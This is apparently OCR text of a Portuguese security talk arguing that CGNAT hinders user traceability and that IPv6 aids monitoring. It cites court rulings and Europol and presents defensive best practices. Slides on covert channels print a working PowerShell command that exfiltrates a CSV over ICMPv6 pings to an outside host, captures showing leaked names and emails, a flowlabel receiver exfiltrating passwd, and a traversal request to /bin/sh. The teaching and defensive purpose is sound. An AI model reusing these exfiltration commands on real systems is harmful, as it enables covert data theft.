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Agenda

Consideracoes sobre o NAT e como ele compromete a visibilidade
e rastreabilidade na rede. Reforcar a urgéncia na adocao do
protocolo IPv6, fomentar a conscientizacao e atualizacao das
equipes de seguranca. Monitoramento das infraestruturas de
redes, destacando os riscos de negligenciar o protocolo IPv6.

Todos os slides estao classificados como: =1 T.1:

Aviso: As ferramentas e métodos descritos na

apresentacao foram aplicados e testados em um ambiente
de laboratodrio controlado. O conteudo aqui apresentado
nao reflete, necessariamente, a opiniao dos empregadores.



Ha muito tempo, num provedor
distante .....

* 30 anos se passaram desde o surgimento dos primeiros
provedores de acesso a Internet (ISP).

* Inicio da Internet Brasileira como servico publico e
comercial.

 HTTP RFC[1945], WHOIS RFC [1834], IPv6 RFC [1883].

TLP:CLEAR



Linha do Tempo

Evolucao das RFCs do IPv4 ao IPv6

4 | 1995 | 1998

2000

m Fonte: Autoria propria



Surgiram conceitos equivocados,
especialmente sobre

Aprendemos e nos Séguranca. NAT é visto como uma

acostumamos com barre|r§ de protegao’,
o NAT confundindo seu papel com o de

um firewall.

Uma série de configuracoes e
habitos que, com o tempo, se
consolidaram como uma pratica
viciada na arquitetura.

-

&, covouR . . , .
> i) O NAT foi uma solucdo tempordria
e G RAN

e engenhosa, necessaria em seu
tempo, que hoje atrapalha a
visibilidade e a rastreabilidade do
usuario.




CGNAT e a dificuldade
na rastreabilidade do usuario

e Dispositivos compartilham o mesmo IPv4 publico (32,
64 e, em alguns casos, mais de 300 usuarios) que
dificultam a correlacao de eventos.

* Modelo atualmente insustentavel tanto do ponto de
vista técnico quanto financeiro.

* Atraso nas investigacoes cibernéticas. Auséncia das
portas de origem nas peticoes judiciais.

* Falta de entendimento sobre a guarda de logs entre
provedores de acesso e provedores de conteudo.

TLP:CLEAR



Tela de uma caixa CGNAT do Provedor

2025-06-25 :03:40. DELETE
2025-06-25 :04:35. DELETE
2025-06-25 :05:04. DELETE
2025-06-25 :06:08. ADD
2025-06-25 :07:08. DELETE
2025-06-25 :07:40. DELETE
2025-06-25 23:07:57. ADD
2025-06-25 :08:16. DELETE
2025-06-25
2025-06-25
2025-06-25
2025-06-25
2025-06-25
2025-06-25
2025-06-25
2025-06-25
2025-06-25
2025-06-25
2025-06-25
2025-06-25
2025-06-25
2025-06-25
2025-06-25
2025-06-25
2025-06-25
2025-06-25
2025-06-25
2025-06-25
2025-06-25
2025-06-25
2025-06-25

6.0.0.0
0.0.0.0
0.0.0.0
0.0.0.0
6.0.0.0
0.0.0.0
0.0.0.0
0.0.0.0
6.0.0.0
0.0.0.0
0.0.0.0
0.0.0.0
6.0.0.0
0.0.0.0
0.0.0.0
0.0.0.0
6.0.0.0
0.0.0.0
0.0.0.0
0.0.0.0
6.0.0.0
0.0.0.0
0.0.0.0
0.0.0.0
6.0.0.0
0.0.0.0
0.0.0.0
0.0.0.0
6.0.0.0
0.0.0.0
0.0.0.0
0.0.0.0
6.0.0.0
0.0.0.0
0.0.0.0
0.0.0.0
6.0.0.0
0.0.0.0
0.0.0.0
0.0.0.0
6.0.0.0
0.0.0.0
0.0.0.0
0.0.0.0
6.0.0.0
0.0.0.0

CPE Clientes IPv4 Publico Compartilhado

TLP:CLEAR



Acordaos e Jurisprudéncias

Jurisprudéncia/STJ - Acordaos

5. 0s enderecos de IP sao os dados essenciais para identificacao do
dispositivo utilizado para acesso a internet e as aplicacoes.

6. A versao 4 dos IPs (IPv4), em razao da expansao e do crescimento
da internet, esgotou sua capacidade de utilizacao individualizada e
se encontra em fase de transicao para a versao 6 (IPv6), fase esta
em que foi admitido o compartilhamento dos enderecos IPv4 como

solucdo temporaria.

7. Nessa fase de compartilhamento do IP, & individualizacao da

navegacao na internet passa a ser intrinsecamente dependente da

porta logica de origem até a migracao para o IPv6.

8. A revelacao das portas logicas de origem consubstancia simples
desdobramento logico do pedido de identificacao do usuario por IP.

Jurisprudéncia/STJ - Acérdaos

Jurisprudéncia/STJ - Acordaos

origem, como solucao temporéria.
6. Apenas com as informacoes dos provedores de conexao e de
aplicacao quanto & porta logica de origem é possivel resolver a

questao da identidade de usuarios na internet, que estejam utilizam

um compartilhamento da versao 4 do IP.

origem, como solucao temporéria.
6. Apenas com as informagoes dos provedores de conexao e de
aplicacdo quanto & porta logica de origem é possivel resolver a

questao da identidade de usuarios na internet, que estejam utilizam
um compartilhamento da versao 4 do IP.

7. 0 Marco Civil da Internet dispoe sobre a guarda e fornecimento de
dados de conexao e de acesso & aplicacao em observancia aos direitos
de intimidade e privacidade.

8. Pelo cotejamento dos diversos dispositivos do Marco Civil da
Internet mencionados acima, em especial o art. 10, caput e § 12,
percebe-se que € inegavel a existéncia do dever de guarda e

fornecimento das informacoes relacionadas a porta logica de origem.
9. Apenas com a porta logica de origem é possivel fazer restabelecer

a univocidade dos numeros IP na internet e, assim, € dado essencial

para o correto funcionamento da rede e de seus agentes operando
sobre ela. Portanto, sua guarda é fundamental para a preservacao de

possiveis interesses legitimos a serem protegidos em lides judiciais
ou em investigacoes criminais.

Fonte: REsp 2005051 / SP 2022/0029308-2 - REsp 1784156 / SP 2018/0322140-0 - REsp

1777769 / SP 2018/0292747-0



n STJ Institucional  Processos  Jurisprudéncia Precedentes Internacional  Comunicacao

28,/05/2025 06:50

Provedor de conexao deve identificar internauta acusado
de ato ilicito sem exigir dados da porta l6gica utilizada

= | Resumo em linguagem simples

A Terceira Turma do Superior Tribunal de Justica (STJ) definiu que um provedor de conexao de

internet tem a obrigacao de identificar o usuario de seus servigos apenas com as informacoes

do numero IP e do periodo aproximado em que ocorreu o ato supostamente ilicito, sem a

necessidade de fornecimento prévio de dados relativos a porta légica utilizada.

Conforme explicou Nancy Andrighi, é do interesse de quem procura o Poder Judiciario ser o
mais especifico possivel em seu pedido, para facilitar a busca pela identidade do infrator, mas
a informacao precisa do horario nao é obrigatoria.

"Uma vez identificada a porta logica remetente do email difamatério, pela recorrente, apenas
os dados referentes a esse usuario devem ser fornecidos, preservando-se a protecdo de todos

os demais usuarios que dividem o mesmo IP", concluiu.

Leia o0 acordao no REsp 2.170.872.

Fonte:
https://www.stj.jus.br/sites/portalp/Paginas/Comunicacao/Noticias/2025/28052025-
Provedor-de-conexao-deve-identificar-internauta-acusado-de-ato-ilicito-sem-exigir-

dados-da-porta-logica-utilizada-.aspx
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IP clonado livra homem de prisao

BBESERED 1o em caso Lady Gaga. Como isso
funciona?
Guilherme Tagiaroli « De Tilt, em 530 Paulo @ m X E

15/05/2025 05h30

Mo fim de semana, um dos suspeitos de planejar o atague a bomba no
show da Lady Gaga foi solto. A razdo? Muito provavelmente ele foi
confundido par causa de um IP {endereco de internet) clonado.

O que aconteceu

* Decisao do juiz plantonista diz que suposto mentor do crime teria

08/05/2022

Crimes Cibernéticos: provedores do Brasil ndo conseguem usado o enderego IP do homem detido provisoriamente no RS. Juiz
mais identificar cibercriminosos pelo endereco IP Jaime Freitas da Silva, da Justica do Rio Grande do Sul, atendeu a

defesa do homem preso, que trabalha como vigilante e tem 49 anos.

nprmir

. Ele era considerado o "lider do grupo”.
A Escola Nacional de Formacao e Aperfeicoamento de Magistrados da Justica Militar da Unido

{Enajum) iniciou, nesta segunda-feira {2}, o "Simpdsia sobre Crimes Cibernéticos no Contexto da
Justica Militar da Unido {(JMU)"

Fonte: https://www.stm.jus.br/informacao/agencia-de-noticias/item/12031-provedores-do-brasil-nao-
conseguem-mais-identificar-cibercriminosos-pelo-endereco-ip-informacao-foi-noticiada-durante-
simposio-na-jmu

Fonte: https://www.uol.com.br/tilt/noticias/redacao/2025/05/15/ip-clonado-caso-lady-gaga.htm



=EURZPOL SOBRE AEURDPOL  OP ERVIC ) AREASDECRIME  PARCEIROS ECOLABORACAD  CARREIRAS ECOMPRAS  MIDIAEIMPRENSA  PUBLICAGOES E EVENTOS

NOTICIAS

Fechando a Lacuna de Atribuicao de Crimes
Online: A aplicacao da lei europeia aborda o
Carrier-Grade NAT (CGN)

= EURTZPOL SOBRE A ELIROPOL OPERACGH COSE |r-1|:-'-.-'a|;:.i:_n AREAS DE CRIME PARCEIROS E I::['.'-I__-‘J_E-I:IF!_-‘J_I;:_'-‘J_I] CARREIRAS E COMPRAS AIDIA E IMPRENSA F'IJEIL!I::.-'-:;:F]E'E E EVENTOS

Vocé esta compartilhando o mesmo enderego
IP que um criminoso? Solicitagao de
aplicacao da lei para o fim do Carrier Grade
NAT (CGN) para aumentar a responsabilidade
on-line

A Europol e a Presidencia estonia do Conselho da UE abordam o grave
défice de capacidade em linha nos esforgos de aplicacdo da lei para
investigar e atribuir a criminalidade criada pelas tecnologias CGN.

https://www.europol.europa.eu/cms/sites/default/files/documents/
Common_Challenges_in_Cybercrime_2024.pdf

TLP:CLEAR



IPv6: Muito além da escassez do IP

Permite que cada dispositivo tenha um endereco
unico global e um caminho rastreavel, ampliando
a visibilidade e facilitando o trabalho das equipes

de seguranca.
IPv4 Header IPv6 Header

Type of
Version | - Total Length
Servi Version Tg:g: Flow Label
Fragment
Identification Flags Offset
Time to Live Header Checksum Payload Length m Hop Limit

Source Address

C:\>curl ifconfig.me
2804 :14d:5283:8609:F5c3:8901:b637:a896

Destination Address

C:\3|

Source Address

Linha de comando no Windows T Field's Name Kept from IPv4 to PV
5 I Fields Not Kept in IPv6
g - Name and Position Changed in IPv6
=l I New Field in IPvé

m Google Imagens

Destination Address



O formato do IPv6

* Inicialmente pode confundir mmm) Superado com
treinamento e familiaridade.

* Sua equipe de tratamento de incidentes de
seguranca esta preparada®?
* Um classico erro no log do Apache WebServer:

[Thu Jul 03 09:26:14.951160 2025] [client

request POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2¢e/.
%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1

TLP:CLEAR



O formato do IPv6

2801:8a:c040:64::9213:d776:3247

2801'008a CO40'0064'0000'OOOO'9213 d/776:3247

Abreviagao com
Network Prefix Zeros em
/48 sequéncia

IPv4 Embedded Porta origem
Zeros a esquerda Conversao Decimal 3247
146.19.215.118

Fonte: Autoria prépria



Visibilidade com IPv6

Actions Last Seen Duration Protocol Score  Flow Actual Thpt Total Bytes

Q 00:04 5:50 TCRTLS 1 @ ... :8a:c040:fca4:d96f:1c 57600 bps® 75545 MB

02:03 12:28 TCRTLS o @ ... 28071:8a:c040:fcal:4511:7dfc 51.14 Kbps¥ 10341 MB

00:02 10:36 TCRTLS v & .. 2801:8a:c040:fca5:198:cB60:2679:4da3 B [ L1 : 62466 &2 2800:370:4003:c08:cf Ba (B L1 : https 10.08 Kbps 4 57.12 MB

it}

:

Ll

n1:29 05:44 TCRTIS o & ... 2801:8a:c040:ca0:451F7dfc 77 1a:ac2e B [ 01 : 60655

35 7’~-.’z.1[3o5:i.|-;;\ 158.30 Khps 32.81 MB

01:26

TCE:TIS 1o @ . 2801:8a:¢040:fca0:40b4:6049 .-(iT'.i.«_":I'EoD: 58783 1:81¢:2 7(1,15}02: hitps 480.00 bps 24,51 MB

00:04 05:08 TCETIS 1o @ . 200a & [ O : htips 144 Kbps ™ 2422 MB

I

Ba:c040:fca0:4517:7dfc:771a:ac2e a 1 60669

01:08 01:39 TCR:TIS 1o @ ... 2801:8a:c040:fca

001:31c:200a REY O : h

81.92 Kbps? 2221 MB

00:04 04:11 ICETLS i @ .. 2801:8a:c040:fca7:2d34:1140:f

ol @ O : hitps 576,00 bps T 22.14 MB

01:35 02:10 TCE:TLS 1 @ - 28071:82:c040:fcal:a5cd: 73bc1

:20de =Y 01 : 52136 &2 2800:3f0:4001:4::a B @Y O : https 48000 bps— 2184 MB

B B BB BB B B B B

02:22 02:40 TCP:TLS 1o @ ... 2807:8a:c040:fca4:bdd:e609:888a:8edf B @ L1 : 64464 &2 2600:9000:238a000:ece c0:93a1 == [ 21 : https 480.00 bps ¥ 21.53 MB

Dashboard flows - NtopNG

Fhoth Hhbh bhoHhohoHh o
(

TIME-W

Resultado do comando linux: netstat ou ss



IPv6 nao é mais opcional

Por que ainda tratamos HEY EVERVBODY. o
o IPv6 como algo

o -
e

invisivel? Ignora-lo é um Y L
© HEUSES| |ws";§‘" A

risco para a
ciberseguranca.

- LEN
> Y g
. ... » N

IPv6 ja esta em nossas

redes. ~ SEESNOBODYGARES "~




Trafego IPv6

IPv6 Per-Country Deployment for AS33187: UNIVERSIDADE ESTADUAL DE CAMPINAS, Brazil (BR)

Zecam: || fd 6] T (1 ] B ) e | [y ) mas | @43 TG Ol B AS NG Drckhared

79.1% "
IPvE 2
10

t
\

f I

© 1998-25-[’“:0[) 08 A ) ) A A 4 0 WE A J 0 WE A I O DD A 0 @ A J 0 W2 A J 0O WD A M4 A AwE R
@y—v""—m{p—«'rwﬂa\_yyﬁmh\l R T o7 o e i 1 N YN 0 D L - m::-.‘_ﬁq

Dashboard NtopNG FCA Fonte: APNIC Labs Julho/2025



Tuneis Automaticos

o B gutls

¢ C & testipdoom 3 * AR *
(] ~ 7 [ b : = & o=
Testar IPv6 | | Perguntas Freqiiestes | | Espelbios Estatisticas |

d Uto m,\at I CO Scom p rom eNte d Testar sua conectividade IPve.
experiéncia de navegacao do s e e

3
. - Promet de (o b
) Seuendereco Pvé parece ser 177 8 &8 Frompt de Comando

dap T kth

7 . . V4 L= |
usuario e desvia o trafego. ey
{,‘ Seu Provedor de Intemet (I5P) parag I

Jateviays ndo
co IPv6 a

Em um ambiente com Active
Directory (AD), as
configuracoes podem ser
gerenciadas de forma
centralizada.

\ 16286

g o SR AR 3
7 1A para&sua estabilidade e con \tic) Y
(/] O

Clique para ver Dados de teste

Captura de tela que mostra um tunel estabelecido e
sua conectividade com a Internet



Exfiltracao de dados

Imagem criada com |IA

Transferéncia intencional, nao
autorizada e secreta de dados de
um computador ou outro
dispositivo.

Essa técnica utiliza canais secretos
(covert channels) através de
protocolos legitimos e portas
liberadas.

Técnica que pode também ser
explorada pelos info-stealers.



Exfiltracao de dados via ICMPv6

Imagem criada com IA

Quando uma rede nao & monitorada, a
exfiltracao de dados pode ocorrer de
forma invisivel, sem vocé perceber.

Um exemplo pratico é a exfiltracao de
dados via ICMPv6. E uma técnica
eficaz, ja que o monitoramento do
trafego tem uma atencao maior nas
camadas superiores, como a aplicacao.

Recommendations for Filtering ICMPv6
Messages in Firewalls RFC [4890].



> Internet Protocol Version 6, Src: 2801:8a:c04@:fca@:5d0:a596:51b8:321e, Dst: 2801:8a:c860:4009:fca0:: [l
v Internet Control Message Protocol vé
Type: Echo (ping) request (128)
Code: @
Checksum: 8x8972 [correct]
[Checksum Status: Good]
Identifier: 9x9002
Sequence: 37429
Response In: 134
Data (32 bytes)
Data: 6162636465666768696a6b6c6dbe6T7071727374757677616263646566676869
[Length: 32]

8038
0048
2058

52 54 @@ 2f 20 df 7@ 6%
00 00 60 28 3a 80 28 01
a5 96 51 b8 32 le 28 €1
00 00 60 68 92 10 80 00
63 64 65 66 67 68 69 6a
73 74 75 76 77 61 62 63

79 a8 @ 48 86 dd 60 00
80 8a @ 40 fc a9 05 do
80 8a 8 60 40 8% fc ad
80 72 08 02 92 35 61 62
6b 6¢c 6d 6e 6f 78 71 72
64 65 66 67 68 69

RT-/--piy
1

ﬁé & T

i
g:2.(
sxeeeas op..-53b
cdefghij klmnopgr
stuvwabe defghi

Captura de um pacote ICMPv6 de 32 bytes em condi¢cdes normais - Host Windows

l

v Internet Control Message Protocol vé
Type: Echo (ping) reply (129)
Code: 8
Checksum: 8x@c5b [correct]
[Checksum Status: Good]
Identifier: 9x8002
Sequence: 39392

Response To: 313
[Response Time: 14,519 ms]

Data (1624 bytes)I
Data [truncate j: efbbbf224665727374204e616d65222¢224c6173742040616d65222¢22456d61696c2041646472657373222c224567472656761.

[Length: 1024]

78 69 79 a8 @ 48 52 54
97 89 04 98 3a 38 28 €1
©0 60 00 96 0¢ 18 23 @1
a5 96 51 b8 32 le 81 60
bf 22 46 69 72 73 74 28
61 73 74 20 4e 61 6d 65
26 41 64 64 72 65 73 73
67 61 26 43 65 72 74 69
22 50 6f 69 6e 74 73 22
63 6b 22 d 9a 22 43 41
49 4d 41 43 4F 22 2c 22
69 6d 61 63 6T 40 66 61
6f 76 2e 62 72 22 2c 22
22 @d @a 22 43 4c 45 42
56 41 22 2c 22 63 6c 65

8@ 2f 20 df 86 dd 6@ of
80 Ba cB 60 40 €9 fc a0
90 8a c@ 40 fc ad 05 de
8c 5b 89 02 99 ed ef bb
4e 61 6d 65 22 2c 22 4c
22 2c 22 45 6d 61 69 6¢
22 2¢ 22 45 6e 74 72 65
66 69 63 61 64 6f 22 2c
2c 22 46 65 €5 64 62 61
52 4c 4f 53 22 2c 22 4c
63 61 72 6¢c 6f 73 2e 6¢
74 65 63 2e 73 79 2e 67
22 2¢ 22 3238 22 2c 22
45 52 22 2c 22 53 49 4c
62 65 72 2e 73 69 6¢c 76

sl

o

N

piy--HRT -f----"
:8(- 7@

S R

-“First Name","L

ast Name ","Email
Address ","Entre
ga Certi ficado",
"Points" ,"Feedba
ck"--"CA RLOS","L
IMACO"," carlos.l
imacof@

ov.br®,” 7,2,
".."CLEB ER","SIL
VA","cle ber.silv

Captura de um pacote ICMPv6 com 1024 bytes exfiltrado de uma planilha - Host Windows



C:\>powershell -Command "$ping = New-Object System.Net.NetworkInformation.Ping; foreach ($data in Get-Content -Path ('C:
\nota.csv') -Encoding Byte -ReadCount 1024) { $reply = $ping.Send('2801:8a:c860:4009:fcad:: ', 1500, $data); if ($reply

!

.Status -eq 'Success') { Write-Host \"Ping bem-sucedido: $($reply.Address) - Tempo de resposta: $($reply.RoundtripTime)m

s\" } else { Write-Host \"Ping falhou: $($reply.Status)\" } }"
Ping bem-sucedido: 2801:8a:c860:4009:fcaf:: - Tempo de resposta: lidms
Ping bem-sucedido: 2801:8a:c860:4009:fca®:: - Tempo de resposta: 15ms

Linha de comando em powershell para envio de um pacote ICMPv6 exfiltrando uma planilha csv

Date first seen Duration Proto Src IP Addr:Port Dst IP Addr:Port Flags Tos Packets | Bytes pps bps  Bpp Flous
2024-08-20 12:58:34.443 0.000 ICMP6  2801:8a:c040:fca:951b:5a06:4016:3add.128 -> 2801:83a:¢860:4009:fcal:: .0.0 ...... 0 512 | 68608 ) 8 134 1
2024-08-20 15:03:49.425 0.000 ICMP6  28@1:8a:c040:fcal:951b:5a06:4016:3add. 128 -> 2801:8a:¢860:4009:fcal:: .0.8 ...... 0 512 | 68608 ] 8 134 1
2024-8-20 15:47:31.599 0.000 ICMP6  28@1:8a:c@40:7ca:951b:5a06:4076:3add.128 -> 2801:8a:c860:4009:fcal:: .0.0 ...... 0 512 | 36352 ] 0 71 1
2024-08-20 15:47:40.395 0.000 ICMP6  28@1:8a:c040:fcal:951b:5a06:4016:3add. 128 -> 2801:8a:c860:4009:fcaf:: .0.0 ...... 0 512 | 36352 ) 0 71 1
2024-08-20 15:47:43.706 0.000 ICMP6  2801:8a:c040:fca:951b:5a06:4010:3add.128 -> 2801:8a:¢860:4009:fca:: .0.0 ...... 0 512 | 36352 ] 0 71 1
2024-03-20 16:39:40.926 0.000 ICMP6  28@1:8a:c040:fca:951b:5a06:4016:3add. 128 -> 2801:8a:¢860:4009:fcal:: .0.8 ...... 0 512 |445449 | 777 B e 870 1
2024-@8-20 16:57:07.955 0.000 ICMP6  28@1:8a:c@40:7ca:951b:5a06:4076:3add. 128 -> 2801:8a:c860:4009:fcad:: .0.0 ...... 0 512 | 36352 ) 0 71 1
2024-08-20 16:57:15.186 0.000 ICMP6  28@1:8a:c040:fca:951b:5a06:4016:3add. 128 -> 2801:8a:c860:4009:fca:: .0.0 ...... 0 512 | 36352 ) 0 71 1
2024-08-20 16:57:33.895 0.000 ICMP6  2801:8a:c040:fca:951b:5a06:4016:3add. 128 -> 2801:8a:¢860:4009:fca:: .0.0 ...... 0 512 | 36352 ) 8 Pi! 1
2024-03-20 16:58:05.438 0.000 ICMP6  28@1:8a:c040:fcab:951b:5a06:4016:3add. 128 -> 2801:8a:¢860:4009:fcal:: .0.8 ...... 0 512 | 36352 ] 0 71 1

CSIRT Unicamp - Mitigacao da exfiltracao de dados via ICMPv6 monitorado por flows
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Exfiltracao de dados via flowlabel no IPv6

A ferramenta IPv6teal permite a
construcao de um canal secreto,
armazenando e exfiltrando dados
diretamente neste campo.

Esse trafego é dificil de identificar,
pois o flowlabel € um campo
legitimo do IPv6, muitas vezes
ignorado ou tratado como
inofensivo pelas ferramentas de
seguranca convencionais.

Figura PowerPoint



ython3 receive.py passwd

Started receiver

Receiving 916 bytes (7328 bits) from 2801:8a:c040:fcal::
86.5% completed (6340/7328 bits)

Transferred 917 bytes in 11.55 seconds

Data written to passwd

Exfiltracao do arquivo passwd do Linux através do campo flowlabel utilizando python

| lipvé B[E -] +
No. Time Source Destination Protocol Length Info =

7575 48.781890471 2861:8a:c040:Tcal [l 2660:1f18:2cd5:1846.. IPv6 66 IPv6 no next header

7576 48.815286523 2861:8a:c040:Tca: |l 2600:1f18:2cd5:1846.. IPV6 67 IPv6 no next header

7600 48.851383318 2861:8a:c040:Tcal: |l 2600:1f18:2cd5:1846.. IPv6 67 IPv6 no next header

7601 48.883381764 2801:8a:c040:TcaC: il 2600:1f18:2cd5:1846.. IPv6 67 IPv6 no next header

7662 48.912357751 2861:8a:c040:Tcal: |l 2680:1f18:2cd5:1846.. IPv6 67 IPv6 no next header

7603 48.978025969 2801:8a:c040:Tca0: il 2680:1f18:2cd5:1846.. IPv6 67 IPv6 no next header

7664 48.981792258 2801:8a:c040:Tca0: il 2660:1f18:2cd5:1846.. IPv6 67 IPv6 no next header

7630 49.015543499 2801:8a:c040:Tcao: [l 2680:1f18:2cd5:1846.. IPV6 67 IPv6 no next header

7631 49.046311909 1¢c040; fcad: er

7633 45.080669842

&34 AN 41009R7Q7  10A4 0+ ANAD:Fanhs &7 TDuUR oo _nowt
1 »

d6 a7 ab 12 ed b2 69 a cd 86 dd 60 [
6d 3b 2d 28 61 ©© 8a cb 40 fc ab €6 6

¢ Frame 7633: 67 bytes on wire (536 bits), 67 bytes capturec~
¢ Ethernet II, Src: 12:e4:b2:69:8a:cd (12:e4:b2:69:@a:ca [

» Internet Protocol Version 6, Src: 2801:8a:c040:fcaB: :|eDs 68 0P 05 26 00 1f 18 2c d5 18 40 3e da
8110 .... = Version: 6 be 7c b5 48 45 4c 4c 4f 5f 37 33 32 38

@
N S
D
qd D
(<
(<
@
[}

Payload Length: 13
Next Header: No Next Header for IPv6 (59)
Hop Limit: 45
Source Address: 28@1:8a:c343:fca0:-
Destination Address: 2600:1f18:2cd5:1848:3eda:ae3c:abe:
» Data (13 bytes) %

Captura do pacote IPv6 relacionado a exfiltracdao dos dados pelo wireshark
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Boas Praticas - 1

Inclua o IPv6 nas suas politicas e atualize as diretrizes de
seguranca. lgnorar o IPv6 é andar no escuro.

Monitoramento efetivo com IPv6 resulta em respostas mais
eficazes ao analisar incidentes.

Realize auditorias e pentests frequentes para identificar e
corrigir possiveis erros de filtragem especificas em regras de
firewalls.

Priorize sempre o trafego IPv6. Trate o IPv6 corretamente em vez
de desativa-lo. Panico sem efeito CVE-2024-38063.

TLP:CLEAR



CVEs envolvendo IPv4 e IPv6

CVEs envolvendo IPv4 e IPv6 (2012 até hoje)

mm Pv4
140 | mm PvE

120}
100}
80t

60|

Quantidade de CVEs

40t

20}

Fonte: Autoria propria a partir de dados APl — NIST National Vulnerability Database (NVD).
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Boas praticas - 2

Monitorar os padroes de trafego de saida. Comunicacao
constantes com servidores C2. Normalmente monitoramos
apenas a entrada.

Monitorar o volume e a frequéncia da transmissao de dados
pelos usuarios. Podem ser feito através do uso de flows na
rede.

Conscientizar e preparar adequadamente as equipes de
seguranca é fundamental para a gestao eficaz de redes de
dupla pilha.

Implemente o Gerenciamento de Identidade e Acesso (IAM).
Conceda acesso ao powershell somente aqueles cuja funcao
de trabalho o requer.



Desafios e Consideracoes Finais

* Eliminar a dependéncia do NAT / CGNAT (quebra
da visibilidade na rede).

* Diminuir o compartilhamento de IPv4 (maximo 8 a
16 usuarios por IPv4) a fim de facilitar a
identificacao e agilizar o processo.

* Considerar o IPv6 como um aliado para a
ciberseguranca mmm) Maior agilidade para o CSIRT.

* I[gnorar o IPv6 é colocar em risco a seguranca
cibernética de toda a infraestrutura.

TLP:CLEAR



Referéencias

Webinar LACNIC | Seguridad en IPv6
https://www.lacnic.net/7495/1/lacnic/

Apresentacdo LACNIC 42 / LACNOG 2024 | Os riscos de ignorar o IPv6
na sua rede
https://lacnic42.lacnic.net/pt-br/programa/apresentacoes-e-videos

Camada 8 NIC.BR | Redes IPv6-Only
https://nic.br/podcasts/camada8/episodio-52

Apresentacao LACNIC 40 / LACNOG 2023 | Rumo ao IPv6-only no Data
Center

https://lacnic40.lacnic.net/pt-br/programa/apresentacoes-e-videos



https://www.lacnic.net/7495/1/lacnic/
https://lacnic42.lacnic.net/pt-br/programa/apresentacoes-e-videos
https://nic.br/podcasts/camada8/episodio-52
https://lacnic40.lacnic.net/pt-br/programa/apresentacoes-e-videos

Referéencias

Tutorial NIC.BR | LACNIC 40 | Caminhando para o futuro:
construindo uma rede IPv6 only

https://lacnic40.lachic.net/pt-br/programa/apresentacoes-e-videos

LACNIC BLOG | NAT: Uma histdria de amor e ddio
https://blog.lacnic.net/pt-br/ipv6/nat-uma-historia-de-amor-e-odio

LACNIC BLOG | O IPv6 e sua importancia para a Pesquisa e
Desenvolvimento (P&D)
https://blog.lacnic.net/pt-br/o-ipv6-e-sua-importancia-para-a-
pesquisa-e-desenvolvimento-pd/

LACNIC BLOG | As 5 Tendéncias do IPv6 para 2024
https://blog.lacnic.net/pt-br/as-5-tendencias-do-ipv6-para-2024/



https://lacnic40.lacnic.net/pt-br/programa/apresentacoes-e-videos
https://blog.lacnic.net/pt-br/ipv6/nat-uma-historia-de-amor-e-odio
https://blog.lacnic.net/pt-br/o-ipv6-e-sua-importancia-para-a-pesquisa-e-desenvolvimento-pd/
https://blog.lacnic.net/pt-br/o-ipv6-e-sua-importancia-para-a-pesquisa-e-desenvolvimento-pd/
https://blog.lacnic.net/pt-br/as-5-tendencias-do-ipv6-para-2024/

Referéencias

Intrarede NIC.BR | IPv6: 25 anos de progresso e evolucdo da
infraestrutura da Internet
https://intrarede.nic.br/live-25anos-ipv6-2023/

Webinar LACNIC | Quiénes deben participar en el despliegue de IPv6?
https://www.lacnic.net/webinaripv6

Intrarede NIC.BR | IPv6: Casos de Sucesso
https://intrarede.nic.br/live-ipv6-sucesso-2021/

Intrarede NIC.BR | IPv6 e os principais erros cometidos numa
implantacao de rede
https://intrarede.nic.br/live-ipv6-implantacao-2022/



https://intrarede.nic.br/live-25anos-ipv6-2023/
https://www.lacnic.net/webinaripv6
https://intrarede.nic.br/live-ipv6-sucesso-2021/
https://intrarede.nic.br/live-ipv6-implantacao-2022/

Muito
Obrigado

Perguntas 7?77

Henri Alves de Godoy L=
henri@unicamp.br

L
m /henrl alves- gOdoy/ ﬁ*ﬁﬂi UNICAMP  LIVEIR

Ot

UNICAMP


mailto:henri@unicamp.br

	Slide 1: Visibilidade e Rastreabilidade com IPv6   Sua equipe está preparada?
	Slide 2: Agenda
	Slide 3: Há muito tempo, num provedor distante …..
	Slide 4
	Slide 5: Aprendemos e nos acostumamos com o NAT ...
	Slide 6: CGNAT e a dificuldade na rastreabilidade do usuário
	Slide 7
	Slide 8: Acórdãos e Jurisprudências
	Slide 9
	Slide 10
	Slide 11
	Slide 12: IPv6: Muito além da escassez do IP
	Slide 13: O formato do IPv6
	Slide 14: O formato do IPv6
	Slide 15: Visibilidade com IPv6
	Slide 16: IPv6 não é mais opcional
	Slide 17: Tráfego IPv6
	Slide 18: Túneis Automáticos 
	Slide 19: Transferência intencional, não autorizada e secreta de dados de um computador ou outro  dispositivo.
	Slide 20: Quando uma rede não é monitorada, a exfiltração de dados pode ocorrer de forma invisível, sem você perceber.  Um exemplo prático é a exfiltração de dados via ICMPv6. É uma técnica eficaz, já que o monitoramento do tráfego tem uma atenção maior n
	Slide 21
	Slide 22
	Slide 23: Exfiltração de dados via flowlabel no IPv6 
	Slide 24
	Slide 25: Boas Práticas - 1
	Slide 26:  CVEs envolvendo IPv4 e IPv6
	Slide 27: Boas práticas - 2  
	Slide 28: Desafios e Considerações Finais 
	Slide 29: Referências 
	Slide 30: Referências 
	Slide 31: Referências 
	Slide 32

